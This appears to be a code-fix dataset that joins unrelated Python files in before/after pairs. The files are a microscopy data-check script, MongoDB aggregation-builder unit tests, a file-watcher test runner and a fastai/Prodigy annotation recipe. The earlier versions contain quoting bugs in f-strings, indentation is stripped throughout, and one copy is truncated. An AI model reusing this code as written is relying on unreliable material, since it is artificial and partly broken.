# # transformation=AffineTransformation(
# # apply_to={"lr": "lr_trf"},
# # target_to_compare_to="ls",
# # order=2,
# # ref_input_shape=[838, 1273, 1463],
# # bdv_affine_transformations=tight_heart_bdv,
# # ref_output_shape=[241, 1451, 1651],
# # ref_crop_in=[[0, None], [0, None], [0, None]],
# # ref_crop_out=[[0, None], [0, None], [0, None]],
# # inverted=False,
# # padding_mode="border",
# # ),
# )
# sample = ds_zip[0]
# ds_zip = ZipDataset(datasets={"ls_trf": ds_ls_trf, "lr": ds_lr})
# sample = ds_zip[0]
# def save_vol(name):
# vol = sample[name]
# imageio.volwrite(f"/g/kreshuk/LF_computed/lnet/debug_affine_fish_trf/{name}.tif", numpy.squeeze(vol))
#
# def plot_vol(name):
# vol = sample[name]
# fig, ax = plt.subplots(2)
# for i in range(2):
# ax[i].imshow(vol[0, 0].max(i))
# ax[i].set_title(f"{name}_super_big{i}")
#
# plt.show()
#
# for name in ["ls_trf"]:
# save_vol(name)
# plot_vol(name)
# for idx in range(11):
# sample = ds_zip_slice[idx]
# fig, ax = plt.subplots(2)
# ax[0].imshow(sample["ls_slice"][0, 0, 0])
# ax[0].set_title(f"ls_slice idx: {idx} z: {sample['meta'][0]['ls_slice']['z_slice']}")
# ax[1].imshow(sample["lr_trf"][0, 0, 0])
# ax[1].set_title(f"lr_trf idx: {idx}")
# plt.show()
# def get_z_hist(ds: N5CachedDatasetFromInfoSubset):
# z_slices =
#
# numpy.histogram(a
def check_filter(tag: str, meta: dict):
lf_crops = {"Heart_tightCrop": [[0, None], [0, None], [0, None]], "wholeFOV": [[0, None], [0, None], [0, None]]}
# filters = [
# ("z_range", {}),
# ("signal2noise", {"apply_to": "ls_slice", "signal_percentile": 99.9, "noise_percentile": 5.0, "ratio": 1.5}),
# ]
filters = [
("z_range", {}),
("signal2noise", {"apply_to": "ls_slice", "signal_percentile": 99.99, "noise_percentile": 5.0, "ratio": 1.2}),
]
ds_unfiltered = get_dataset_from_info(get_tensor_info(tag, "ls_slice", meta=meta), cache=True)
print(" unfiltered", len(ds_unfiltered))
ds = get_dataset_from_info(get_tensor_info(tag, "ls_slice", meta=meta), cache=True, filters=filters)
print("ds filtered", len(ds))
filters = [
("z_range", {}),
("signal2noise", {"apply_to": "ls_slice", "signal_percentile": 99.9, "noise_percentile": 5.0, "ratio": 2.0}),
]
ds = get_dataset_from_info(get_tensor_info(tag, "ls_slice", meta=meta), cache=True, filters=filters)
print("ds filtered", len(ds))
def check_data(tag: str, meta: dict):
ls_slice = get_dataset_from_info(get_tensor_info(tag, "ls_slice", meta=meta), cache=True)
if meta["expected_scale"] == 4:
lf = get_dataset_from_info(get_tensor_info(tag, "lf", meta=meta), cache=True)
assert len(lf) == len(ls_slice), (tag, len(lf), len(ls_slice))
assert len(ls_slice) > 0, tag
print(tag, len(ls_slice))
# lf = lf[0]["lf"]
# ls = ls[0]["ls_slice"]
# print("\tlf", lf.shape)
# print("\tls", ls.shape)
# imageio.imwrite(f"/g/kreshuk/LF_computed/lnet/padded_lf_{tag}_pad_at_1.tif", lf[0, 0])
# path = Path(f"/g/kreshuk/LF_partially_restored/LenseLeNet_Microscope/20191202_staticHeart_dynamicHeart/data/{tag}/stack_1_channel_3/TP_00000/RC_rectified_cropped0/Cam_Right_001_rectified.tif")
# path.parent.mkdir(parents=True, exist_ok=True)
# imageio.imwrite(path, lf[0, 0])
def search_data():
path = Path(
"/g/kreshuk/LF_partially_restored/LenseLeNet_Microscope/20191203_dynamic_staticHeart_tuesday/fish1/dynamic/Heart_tightCrop/dynamicImaging1_btw20to160planes/2019-12-03_00.00.44/stack_1_channel_2"
)
for dir in path.glob("*/RC_rectified/"):
print(dir.parent.name, len(list(dir.glob("*.tif"))))
def get_tags():
with (Path(__file__).parent / "tags" / Path(__file__).with_suffix(".yml").name).open() as f:
return [tag.strip() for tag in yaml.safe_load(f)]
def quick_check_all(meta: dict):
# tags = get_tags()
# tags = ["2019-12-02_23.17.56", "2019-12-02_23.43.24", "2019-12-02_23.50.04", "2019-12-02_04.12.36_10msExp"]
# tags = ["2019-12-09_04.54.38", "2019-12-09_05.21.16", "2019-12-09_05.41.14_theGoldenOne", "plane_100/2019-12-09_05.55.26"]
# tags = ["2019-12-02_04.12.36_10msExp"]
tags = [
# "2019-12-02_04.12.36_10msExp", # fish4 quality 4
# "2019-12-02_23.17.56", # fish4 quality 3
# "2019-12-02_23.43.24", # fish4 quality 3
# "2019-12-02_23.50.04", # fish4 quality 3
# "2019-12-03_00.00.44", # fish4 at the moment only with 5ms exp time, 10ms coming
# "2019-12-08_23.43.42", # fish1 quality 1
"2019-12-09_04.54.38", # fish2 test
# "2019-12-09_05.21.16", # fish2 test
# "2019-12-09_05.41.14_theGoldenOne", # fish2 test
# "plane_100/2019-12-09_05.55.26", # fish2 test
# "plane_120/2019-12-09_05.53.55",
# "2019-12-09_23.10.02", # fish3
# "2019-12-09_23.17.30", # fish3
# "2019-12-09_23.19.41", # fish3
# "2019-12-10_00.40.09", # fish3
# "2019-12-10_00.51.54", # fish3
# "2019-12-10_01.03.50", # fish3
# "2019-12-10_01.25.44", # fish3
# "2019-12-10_02.13.34", # fish3
# "plane_080/2019-12-09_04.02.24_5ms",
# "plane_080/2019-12-09_04.05.07_irisOpenedComplete_10ms",
# "plane_100/2019-12-09_03.44.34_5ms",
# "plane_100/2019-12-09_03.46.56_10ms",
# "plane_120/2019-12-09_03.41.23_5ms",
# "plane_120/2019-12-09_03.42.18_10ms",
# "plane_140/2019-12-09_03.55.51_5ms",
# "plane_140/2019-12-09_03.56.44_10ms",
# "plane_160/2019-12-09_03.58.24_5ms",
# "plane_160/2019-12-09_03.58.24_10ms",
# "plane_160/2019-12-09_03.59.45_5ms",
# "plane_160/2019-12-09_03.59.45_10ms",
]
for tag in tags:
try:
lf = get_dataset_from_info(get_tensor_info(tag, "lf", meta=meta), cache=False)
except Exception as e:
print(tag, e)
lf = []
try:
ls_slice = get_dataset_from_info(get_tensor_info(tag, "ls_slice", meta=meta), cache=False)
except Exception as e:
print(tag, e)
ls_slice = []
try:
lr_slice = get_dataset_from_info(get_tensor_info(tag, "lr_slice", meta=meta), cache=False)
except Exception as e:
print(tag, e)
lr_slice = []
if len(lf) != len(ls_slice) or len(lf) != len(lr_slice) or len(ls_slice) == 0:
print(tag, len(lf), len(ls_slice), len(lr_slice))
else:
print(tag, len(lf))
# check_filter(tag, meta=meta)
if __name__ == "__main__":
quick_check_all(
meta={
"z_out": 49,
"nnum": 19,
"interpolation_order": 2,
"expected_scale": 4,
"z_ls_rescaled": 241,
"pred_z_min": 0,
"pred_z_max": 838,
}
)
|
from aggregation_builder import AggregationQueryBuilder
from aggregation_builder.operators import *
import unittest
import datetime
class OtherOperatorsTests(unittest.TestCase):
def test_text(self):
query = [
{'$match': {'$text': {'$search': "cake"}}},
{'$group': {'_id': {'$meta': "textScore"}, 'count': {'$sum': 1}}}
]
generated_query = AggregationQueryBuilder().match(
**TEXT_SEARCH("cake")
).group(id=TEXT_META, count=SUM(1)).get_query()
self.assertListEqual(generated_query, query)
def test_let(self):
query = [
{
'$project': {
'finalTotal': {
'$let': {
'vars': {
'total': {'$add': ['$price', '$tax']},
'discounted': {'$cond': {'if': '$applyDiscount', 'then': 0.9, 'else': 1}}
},
'in': {'$multiply': ["$$total", "$$discounted"]}
}
}
}
}
]
generated_query = AggregationQueryBuilder().project(
finalTotal=LET(
_vars=dict(
total=ADD('$price', '$tax'),
discounted=COND(
_if='$applyDiscount',
_then=0.9,
_else=1
)
),
_in=MULTIPLY("$$total", "$$discounted")
)
).get_query()
self.assertListEqual(generated_query, query)
def test_literal(self):
query = [
{'$project': {'item': 1, 'startAt': {'$literal': 1}}}
]
generated_query = AggregationQueryBuilder().project(
item=1, startAt=LITERAL(1)
).get_query()
self.assertListEqual(generated_query, query)
def test_type(self):
query = [
{'$project': {'a': {'$type': "$a"}}}
]
generated_query = AggregationQueryBuilder().project(
a=TYPE('$a')
).get_query()
self.assertListEqual(generated_query, query)
def test_if_null(self):
query = [
{'$project': {
'item': 1,
'description': {'$ifNull': ["$description", "Unspecified"]}
}}
]
generated_query = AggregationQueryBuilder().project(
item=1, description=IF_NULL("$description", "Unspecified")
).get_query()
self.assertListEqual(generated_query, query)
def test_cond(self):
query = [
{
'$project':
{
'item': 1,
'discount':
{
'$cond': {'if': {'$gte': ['$qty', 250]}, 'then': 30, 'else': 20}
}
}
}
]
generated_query = AggregationQueryBuilder().project(
item=1, discount=COND(_if=GTE("$qty", 250), _then=30,
_else=20)
).get_query()
self.assertListEqual(generated_query, query)
if __name__ == '__main__':
unittest.main()
| from aggregation_builder import AggregationQueryBuilder
from aggregation_builder.operators import *
import unittest
import datetime
class OtherOperatorsTests(unittest.TestCase):
def test_text(self):
query = [
{'$match': {'$text': {'$search': "cake"}}},
{'$group': {'_id': {'$meta': "textScore"}, 'count': {'$sum': 1}}}
]
generated_query = AggregationQueryBuilder().match(
**TEXT_SEARCH("cake")
).group(id=TEXT_META, count=SUM(1)).get_query()
self.assertListEqual(generated_query, query)
def test_let(self):
query = [
{
'$project': {
'finalTotal': {
'$let': {
'vars': {
'total': {'$add': ['$price', '$tax']},
'discounted': {'$cond': {'if': '$applyDiscount', 'then': 0.9, 'else': 1}}
},
'in': {'$multiply': ["$$total", "$$discounted"]}
}
}
}
}
]
generated_query = AggregationQueryBuilder().project(
finalTotal=LET(
_vars=dict(
total=ADD('$price', '$tax'),
discounted=COND(
_if='$applyDiscount',
_then=0.9,
_else=1
)
),
_in=MULTIPLY("$$total", "$$discounted")
)
).get_query()
self.assertListEqual(generated_query, query)
def test_literal(self):
query = [
{'$project': {'item': 1, 'startAt': {'$literal': 1}}}
]
generated_query = AggregationQueryBuilder().project(
item=1, startAt=LITERAL(1)
).get_query()
self.assertListEqual(generated_query, query)
def test_type(self):
query = [
{'$project': {'a': {'$type': "$a"}}}
]
generated_query = AggregationQueryBuilder().project(
a=TYPE('$a')
).get_query()
self.assertListEqual(generated_query, query)
def test_if_null(self):
query = [
{'$project': {
'item': 1,
'description': {'$ifNull': ["$description", "Unspecified"]}
}}
]
generated_query = AggregationQueryBuilder().project(
item=1, description=IF_NULL("$description", "Unspecified")
).get_query()
self.assertListEqual(generated_query, query)
def test_cond(self):
query = [
{
'$project':
{
'item': 1,
'discount':
{
'$cond': {'if': {'$gte': ["$qty", 250]}, 'then': 30, 'else': 20}
}
}
}
]
generated_query = AggregationQueryBuilder().project(
item=1, discount=COND(_if=GTE("$qty", 250), _then=30,
_else=20)
).get_query()
self.assertListEqual(generated_query, query)
if __name__ == '__main__':
unittest.main()
|
import os
import subprocess
import sys
import time
import itertools
from difflib import Differ
from pathlib import Path
from clint.textui import colored
from watchdog.events import PatternMatchingEventHandler
from watchdog.observers import Observer
class Runner:
def __init__(self, filename):
self.src_file_path = os.path.join(os.getcwd(), filename.split('.')[0], filename)
self.user_in_file_path = os.path.join(os.getcwd(), 'test_case')
self.sample_in_file_path = os.path.join(os.getcwd(), filename.split('.')[0], f"{filename.split(".")[0]}.in")
self.sample_out_file_path = os.path.join(os.getcwd(), filename.split('.')[0], f"{filename.split(".")[0]}.op")
def get_inputs_and_outputs(self):
user_in_list, sample_in_list, sample_out_list = [], [], []
with open(self.user_in_file_path, 'r+', encoding='utf-8') as cin, \
open(self.sample_in_file_path, 'r+', encoding='utf-8') as sin, \
open(self.sample_out_file_path, 'r+', encoding='utf-8') as sout:
user_in_list = self.clean_file_content(cin.read())
sample_in_list = self.clean_file_content(sin.read())
sample_out_list = self.clean_file_content(sout.read())
return user_in_list, sample_in_list, sample_out_list
def clean_file_content(self, content):
res, temp = [], []
if len(content) == 0 or content.isspace():
res = None
return res
check = content.splitlines()
for i in range(len(check)):
temp.append(check[i])
if check[i] == '' or i == len(check)-1:
if(temp == ['']):
temp = []
continue
res.append('\n'.join(temp))
temp = []
return res
def run_cpp(self):
print(colored.cyan(f"Compiling {os.path.basename(self.src_file_path)}..."))
cpp_executable_path = os.path.join(os.getcwd(), 'prog')
# compiles the C++ program
compilation_child_process = subprocess.Popen(['g++', self.src_file_path,
'-o', cpp_executable_path], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
compilation_child_process.wait()
compilation_child_process.terminate()
if compilation_child_process.returncode != 0:
return_code = compilation_child_process.returncode
if return_code == 127:
print("'g++' isn't installed.", file=sys.stderr)
return
print('Running...')
# Runs executable, with testcases
user_in_list, sample_in_list, sample_out_list = self.get_inputs_and_outputs()
if user_in_list:
print(colored.yellow("Taking inputs from test_case file"))
for inp in user_in_list:
execution_child_process = subprocess.Popen([cpp_executable_path],
stdin=subprocess.PIPE, stdout=subprocess.PIPE)
execution_child_process.stdin.write(inp.encode(encoding='utf-8'))
current_output = execution_child_process.communicate()
if(len(current_output) > 0):
self.display_output(current_output[0].decode())
execution_child_process.terminate()
elif sample_in_list and sample_out_list:
print(colored.yellow("No custom input found."))
print(colored.yellow("Running sample testcases."))
for inp, outp in zip(sample_in_list, sample_out_list):
execution_child_process = subprocess.Popen([cpp_executable_path],
stdin=subprocess.PIPE, stdout=subprocess.PIPE)
execution_child_process.stdin.write(inp.encode(encoding='utf-8'))
current_output = execution_child_process.communicate()
if(len(current_output) > 0):
self.display_output(current_output[0].decode(), outp)
execution_child_process.terminate()
else:
print(colored.yellow("No input found."))
print("Output: ")
subprocess.run(f'{cpp_executable_path}')
def run_py(self):
python_interpreter = "python" if os.name == "nt" else "python3"
user_in_list, sample_in_list, sample_out_list = self.get_inputs_and_outputs()
print("Running...")
if user_in_list:
print(colored.yellow("Taking inputs from test_case file"))
for inp in user_in_list:
execution_child_process = subprocess.Popen([python_interpreter, self.src_file_path], stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
current_output, err = execution_child_process.communicate(input=inp.encode(encoding='utf-8'))
if(execution_child_process.returncode != 0):
print(err.decode())
return
if(current_output):
self.display_output(current_output.decode())
execution_child_process.terminate()
elif sample_in_list and sample_out_list:
print(colored.yellow("No custom input found."))
print(colored.yellow("Running sample testcases."))
for inp, outp in zip(sample_in_list, sample_out_list):
execution_child_process = subprocess.Popen([python_interpreter, self.src_file_path], stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
current_output, err = execution_child_process.communicate(input=inp.encode(encoding='utf-8'))
if(execution_child_process.returncode != 0):
print(err.decode())
return
if(current_output):
self.display_output(current_output.decode(), outp)
execution_child_process.terminate()
else:
print(colored.yellow("No input found."))
print("Output: ")
subprocess.run([python_interpreter, self.src_file_path])
def display_output(self, output, *args):
if args:
output = ''.join(line.rstrip()+'\n' for line in output.splitlines())
expected_output = ''.join(line.rstrip()+'\n' for line in args[0].splitlines())
if(output == expected_output):
print(colored.green(f"Sample testcase passed."))
print()
print(colored.yellow("Output:"))
print(output)
else:
print(colored.red(f"Sample testcase failed !"))
print()
print(colored.yellow("Output:"))
print(output)
print(colored.yellow("Changes needed:"))
diff = Differ()
diffed_output = self.color_diff(diff.compare(output.splitlines(), expected_output.splitlines()))
print('\n'.join(diffed_output))
else:
print(colored.yellow(f"Output: "))
print(output)
def check_files(self):
# Check if required files exist
status = True
if not Path(self.src_file_path).is_file():
print(colored.red(f"{filename} doesn't exist !"), file=sys.stderr)
status = False
if not Path(self.user_in_file_path).is_file():
print(colored.red(f"User input file doesn't exist !"), file=sys.stderr)
status = False
if not Path(self.sample_in_file_path).is_file():
print(colored.red(f"Sample input file doesn't exist !"), file=sys.stderr)
status = False
if not Path(self.sample_out_file_path).is_file():
print(colored.red(f"Sample output file doesn't exist !"), file=sys.stderr)
status = False
return status
def color_diff(self, diff):
for line in diff:
if line.startswith('+'):
yield str(colored.green(line))
elif line.startswith('-'):
yield str(colored.red(line))
elif line.startswith('?'):
yield str(colored.blue(line))
else:
yield line
def listen():
print(colored.yellow("Getting files in directory"))
path = os.getcwd()
dircontents = os.listdir(path)
if len(dircontents) != 0:
print(colored.magenta("Currently listening for file changes"))
patterns = ['*.cpp', '*.py']
ignore_patterns = ['prog', '*.exe', '*.swp']
ignore_directories = True
case_sensitive = True
event_handler = PatternMatchingEventHandler(patterns, ignore_patterns, ignore_directories, case_sensitive)
event_handler.on_created = isModified
observer = Observer()
observer.schedule(event_handler,path,recursive=True)
observer.start()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
observer.stop()
observer.join()
else:
print(colored.red("No files exist, check filename/path."))
def isModified(event):
filename = os.path.basename(event.src_path)
foldername = os.path.basename(os.getcwd())
execute = Runner(filename)
if execute.check_files() and filename not in (foldername, "prog", "test_case"):
print(colored.yellow('\nChange made at '+ filename))
if(filename.split('.')[-1] == 'cpp'):
execute.run_cpp()
elif(filename.split('.')[-1] == 'py'):
execute.run_py()
| import os
import subprocess
import sys
import time
import itertools
from difflib import Differ
from pathlib import Path
from clint.textui import colored
from watchdog.events import PatternMatchingEventHandler
from watchdog.observers import Observer
class Runner:
def __init__(self, filename):
self.src_file_path = os.path.join(os.getcwd(), filename.split('.')[0], filename)
self.user_in_file_path = os.path.join(os.getcwd(), 'test_case')
self.sample_in_file_path = os.path.join(os.getcwd(), filename.split('.')[0], f"{filename.split('.')[0]}.in")
self.sample_out_file_path = os.path.join(os.getcwd(), filename.split('.')[0], f"{filename.split('.')[0]}.op")
def get_inputs_and_outputs(self):
user_in_list, sample_in_list, sample_out_list = [], [], []
with open(self.user_in_file_path, 'r+', encoding='utf-8') as cin, \
open(self.sample_in_file_path, 'r+', encoding='utf-8') as sin, \
open(self.sample_out_file_path, 'r+', encoding='utf-8') as sout:
user_in_list = self.clean_file_content(cin.read())
sample_in_list = self.clean_file_content(sin.read())
sample_out_list = self.clean_file_content(sout.read())
return user_in_list, sample_in_list, sample_out_list
def clean_file_content(self, content):
res, temp = [], []
if len(content) == 0 or content.isspace():
res = None
return res
check = content.splitlines()
for i in range(len(check)):
temp.append(check[i])
if check[i] == '' or i == len(check)-1:
if(temp == ['']):
temp = []
continue
res.append('\n'.join(temp))
temp = []
return res
def run_cpp(self):
print(colored.cyan(f"Compiling {os.path.basename(self.src_file_path)}..."))
cpp_executable_path = os.path.join(os.getcwd(), 'prog')
# compiles the C++ program
compilation_child_process = subprocess.Popen(['g++', self.src_file_path,
'-o', cpp_executable_path], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
compilation_child_process.wait()
compilation_child_process.terminate()
if compilation_child_process.returncode != 0:
return_code = compilation_child_process.returncode
if return_code == 127:
print("'g++' isn't installed.", file=sys.stderr)
return
print('Running...')
# Runs executable, with testcases
user_in_list, sample_in_list, sample_out_list = self.get_inputs_and_outputs()
if user_in_list:
print(colored.yellow("Taking inputs from test_case file"))
for inp in user_in_list:
execution_child_process = subprocess.Popen([cpp_executable_path],
stdin=subprocess.PIPE, stdout=subprocess.PIPE)
execution_child_process.stdin.write(inp.encode(encoding='utf-8'))
current_output = execution_child_process.communicate()
if(len(current_output) > 0):
self.display_output(current_output[0].decode())
execution_child_process.terminate()
elif sample_in_list and sample_out_list:
print(colored.yellow("No custom input found."))
print(colored.yellow("Running sample testcases."))
for inp, outp in zip(sample_in_list, sample_out_list):
execution_child_process = subprocess.Popen([cpp_executable_path],
stdin=subprocess.PIPE, stdout=subprocess.PIPE)
execution_child_process.stdin.write(inp.encode(encoding='utf-8'))
current_output = execution_child_process.communicate()
if(len(current_output) > 0):
self.display_output(current_output[0].decode(), outp)
execution_child_process.terminate()
else:
print(colored.yellow("No input found."))
print("Output: ")
subprocess.run(f'{cpp_executable_path}')
def run_py(self):
python_interpreter = "python" if os.name == "nt" else "python3"
user_in_list, sample_in_list, sample_out_list = self.get_inputs_and_outputs()
print("Running...")
if user_in_list:
print(colored.yellow("Taking inputs from test_case file"))
for inp in user_in_list:
execution_child_process = subprocess.Popen([python_interpreter, self.src_file_path], stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
current_output, err = execution_child_process.communicate(input=inp.encode(encoding='utf-8'))
if(execution_child_process.returncode != 0):
print(err.decode())
return
if(current_output):
self.display_output(current_output.decode())
execution_child_process.terminate()
elif sample_in_list and sample_out_list:
print(colored.yellow("No custom input found."))
print(colored.yellow("Running sample testcases."))
for inp, outp in zip(sample_in_list, sample_out_list):
execution_child_process = subprocess.Popen([python_interpreter, self.src_file_path], stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
current_output, err = execution_child_process.communicate(input=inp.encode(encoding='utf-8'))
if(execution_child_process.returncode != 0):
print(err.decode())
return
if(current_output):
self.display_output(current_output.decode(), outp)
execution_child_process.terminate()
else:
print(colored.yellow("No input found."))
print("Output: ")
subprocess.run([python_interpreter, self.src_file_path])
def display_output(self, output, *args):
if args:
output = ''.join(line.rstrip()+'\n' for line in output.splitlines())
expected_output = ''.join(line.rstrip()+'\n' for line in args[0].splitlines())
if(output == expected_output):
print(colored.green(f"Sample testcase passed."))
print()
print(colored.yellow("Output:"))
print(output)
else:
print(colored.red(f"Sample testcase failed !"))
print()
print(colored.yellow("Output:"))
print(output)
print(colored.yellow("Changes needed:"))
diff = Differ()
diffed_output = self.color_diff(diff.compare(output.splitlines(), expected_output.splitlines()))
print('\n'.join(diffed_output))
else:
print(colored.yellow(f"Output: "))
print(output)
def check_files(self):
# Check if required files exist
status = True
if not Path(self.src_file_path).is_file():
print(colored.red(f"{filename} doesn't exist !"), file=sys.stderr)
status = False
if not Path(self.user_in_file_path).is_file():
print(colored.red(f"User input file doesn't exist !"), file=sys.stderr)
status = False
if not Path(self.sample_in_file_path).is_file():
print(colored.red(f"Sample input file doesn't exist !"), file=sys.stderr)
status = False
if not Path(self.sample_out_file_path).is_file():
print(colored.red(f"Sample output file doesn't exist !"), file=sys.stderr)
status = False
return status
def color_diff(self, diff):
for line in diff:
if line.startswith('+'):
yield str(colored.green(line))
elif line.startswith('-'):
yield str(colored.red(line))
elif line.startswith('?'):
yield str(colored.blue(line))
else:
yield line
def listen():
print(colored.yellow("Getting files in directory"))
path = os.getcwd()
dircontents = os.listdir(path)
if len(dircontents) != 0:
print(colored.magenta("Currently listening for file changes"))
patterns = ['*.cpp', '*.py']
ignore_patterns = ['prog', '*.exe', '*.swp']
ignore_directories = True
case_sensitive = True
event_handler = PatternMatchingEventHandler(patterns, ignore_patterns, ignore_directories, case_sensitive)
event_handler.on_created = isModified
observer = Observer()
observer.schedule(event_handler,path,recursive=True)
observer.start()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
observer.stop()
observer.join()
else:
print(colored.red("No files exist, check filename/path."))
def isModified(event):
filename = os.path.basename(event.src_path)
foldername = os.path.basename(os.getcwd())
execute = Runner(filename)
if execute.check_files() and filename not in (foldername, "prog", "test_case"):
print(colored.yellow('\nChange made at '+ filename))
if(filename.split('.')[-1] == 'cpp'):
execute.run_cpp()
elif(filename.split('.')[-1] == 'py'):
execute.run_py()
|
# AUTOGENERATED! DO NOT EDIT! File to edit: nbs/01_custom_receipe.ipynb (unless otherwise specified).
__all__ = ['fastai_recipe', 'create_folders', 'load_fastai_model', 'save_base64_image', 'score_stream',
'predict_folder', 'predict_all_subfolders', 'fastai_jsonl_recipe']
# Cell
import numpy as np
import copy
import io
import torch
import os
import fastai
from PIL import Image
import PIL
from time import time
import json
from pathlib import Path
from dotenv import load_dotenv
from prodigy.components.loaders import get_stream, JSONL
from prodigy.components.preprocess import fetch_images
from prodigy.core import recipe, recipe_args
from prodigy.util import log, b64_uri_to_bytes, split_string, read_image_b64, write_jsonl, read_jsonl
from prodigy.components.loaders import Images
from prodigy.components.sorters import prefer_uncertain, prefer_high_scores, prefer_low_scores
from prodigy.components.loaders import JSONL
import prodigy
from fastai.vision import *
from pathlib import Path
from fastscript import *
from datetime import datetime
from influxdb_client import InfluxDBClient, Point, WritePrecision
from influxdb_client.client.write_api import SYNCHRONOUS
# Cell
@recipe(
"fastaimodel",
dataset=("The dataset to use", "positional", None, str),
source=("Path to a directory of images", "option", "source", str),
model_path=("Path to the fastai model", "option", "model", str),
target_folder=("Path to the target folder where the pictures are " +
"in the labled folders",
"option",
"target_folder",
str),
sort_by_score_type=("choose which order you want to receive the predictions. " +
"The availiable orders are prefer_uncertain, prefer_high_scores, prefer_low_scores.",
"option",
"sort",
str),
label=("One or more comma-separated labels", "option", "label", str)
)
def fastai_recipe(dataset, source, model_path, target_folder, sort_by_score_type, label='horse_poo'):
"""recipe to load data in a certain order and save them to a folder"""
def update(examples):
# This function is triggered when Prodigy receives annotations
print(f"type of examples = {type(examples)}")
for example in examples:
if example['answer'] == 'accept':
save_base64_image(str(target_folder_pos), example['text'] + '.jpg', example['image'])
if example['answer'] == 'reject':
save_base64_image(str(target_folder_neg), example['text'] + '.jpg', example['image'])
#print(f"Received {len(examples)} annotations!")
#create folders
create_folders(target_folder, label)
target_folder = Path(target_folder)
target_folder_pos = target_folder / label
target_folder_neg = target_folder / ('no_' + label)
learn = load_fastai_model(model_path)
stream = score_stream(Images(source), model_path)
if sort_by_score_type == 'prefer_high_scores':
stream = prefer_high_scores(stream)
elif sort_by_score_type == 'prefer_low_scores':
stream = prefer_low_scores(stream)
elif sort_by_score_type == 'prefer_uncertain':
stream = prefer_uncertain(stream)
stream.first_n = 20000
return {
"dataset": dataset,
"view_id": "image_manual",
"stream": stream,
"update": update,
"config": { # Additional config settings, mostly for app UI
"label": "horse_poo"
}
}
# Cell
def create_folders(path:str, label:str) -> None:
"""create the target folder"""
path = Path(path)
path.mkdir(parents=True, exist_ok=True)
path_pos = path / label
path_pos.mkdir(parents=True, exist_ok=True)
path_neg = path / ('no_' + label)
path_neg.mkdir(parents=True, exist_ok=True)
# Cell
def load_fastai_model(path, test_folder:[Path, str]=None):
"""load a fastai model from a given path"""
path = Path(path)
folder = path.parent
file = path.name
if test_folder is not None:
il = ImageList.from_folder(test_folder)
return load_learner(path=folder, file=file, test=il)
return load_learner(str(folder), str(file))
# Cell
def save_base64_image(path, filename, uri):
"""save base64 encoded image """
tgt_path = Path(path) / filename
pil_image = PIL.Image.open(io.BytesIO(b64_uri_to_bytes(uri)))
pil_image.save(str(tgt_path))
# Cell
def score_stream(stream, model_path):
learn = load_fastai_model(model_path)
for example in stream:
if not example["image"].startswith("data"):
msg = "Expected base64-encoded data URI, but got: '{}'."
raise ValueError(msg.format(example["image"][:100]))
pil_image = PIL.Image.open(io.BytesIO(b64_uri_to_bytes(example["image"])))
a = np.asarray(pil_image)
a = np.transpose(a, (1, 0, 2))
a = np.transpose(a, (2, 1, 0))
x = torch.from_numpy(a.astype(np.float32, copy=False) )
x = x.div_(255)
score = learn.predict(Image(x))[2][0].numpy().item()
print(f"socre={score}, id={example["text"]}")
yield (score, example)
# Cell
def predict_folder(image_folder:[str, Path], path_model:[str, Path]=Path('data/export.pkl')):
"""predicts a folder of images and saves images in tasks.jsonl"""
image_folder = Path(image_folder)
path_model = Path(path_model)
learn = load_fastai_model(str(path_model), test_folder=str(image_folder))
preds,y = learn.get_preds(ds_type=DatasetType.Test)
scores = preds[:,learn.data.classes.index('horse_poo')].numpy()
paths = learn.data.test_ds.items
jsonl_list = []
for score, path in sorted(zip(scores, paths), reverse=True):
obj = {"image": str(path), "text": path.stem, "score": str(np.round(score, 3))}
jsonl_list.append(obj)
print(f"save results to {str(image_folder / "tasks.jsonl")}")
write_jsonl(str(image_folder / 'tasks.jsonl'), jsonl_list)
return learn, preds, y, jsonl_list
# Cell
@call_parse
def predict_all_subfolders(path:Param("path of parent folder", str)='data',
skipXmostRecent:Param("skips the nth most recent folders", int)=1,
path_model:Param("path to the model to use", str)='data/export.pkl',
predict_single_folder:Param("path to single folder", str)=None):
"""predicts all images in subfolders of the given path an creates a tasks.jsonl file"""
path = Path(path)
if predict_single_folder is not None:
predict_folder(Path(predict_single_folder), path_model)
return
subfolders = sorted(next(os.walk(str(path)))[1], reverse=True)
subfolders = [path / folder for folder in subfolders]
for folder in subfolders[skipXmostRecent:]:
print(f'predict {folder}')
predict_folder(folder, path_model)
# Cell
@recipe(
"fastai_jsonl_recipe",
dataset=("The dataset to use", "positional", None, str),
path_image_folder=("folder with tasks.jsonl file", "option", "path_image_folder", str),
path_model=("folder where we can find the deployed model", "option", "path_model", str),
predict=("wether to predict if there is already a tasks.jsonl or not", "option", "predict", int)
)
def fastai_jsonl_recipe(dataset, path_image_folder, path_model, predict=0):
"""recipe to predict and laod data in a certain order"""
def on_load(controller):
"""crates tasks.jsonl file order by predictions"""
if predict == 1 or os.path.exists(path_image_folder) is False:
print(f'make predictions for folder {path_image_folder} and model {path_model}')
predict_folder(image_folder=Path(path_image_folder), path_model=Path(path_model))
source = Path(path_image_folder)
stream = JSONL(str(source / 'tasks.jsonl'))
stream = fetch_images(stream, skip=True)
return {
"dataset": dataset,
"view_id": "image_manual",
"on_load": on_load,
"stream": stream,
"config": { # Additional config settings, mostly for app UI
"label": "horse_poo"
}
}
| # AUTOGENERATED! DO NOT EDIT! File to edit: nbs/01_custom_receipe.ipynb (unless otherwise specified).
__all__ = ['fastai_recipe', 'create_folders', 'load_fastai_model', 'save_base64_image', 'score_stream',
'predict_folder', 'predict_all_subfolders', 'fastai_jsonl_recipe']
# Cell
import numpy as np
import copy
import io
import torch
import os
import fastai
from PIL import Image
import PIL
from time import time
import json
from pathlib import Path
from dotenv import load_dotenv
from prodigy.components.loaders import get_stream, JSONL
from prodigy.components.preprocess import fetch_images
from prodigy.core import recipe, recipe_args
from prodigy.util import log, b64_uri_to_bytes, split_string, read_image_b64, write_jsonl, read_jsonl
from prodigy.components.loaders import Images
from prodigy.components.sorters import prefer_uncertain, prefer_high_scores, prefer_low_scores
from prodigy.components.loaders import JSONL
import prodigy
from fastai.vision import *
from pathlib import Path
from fastscript import *
from datetime import datetime
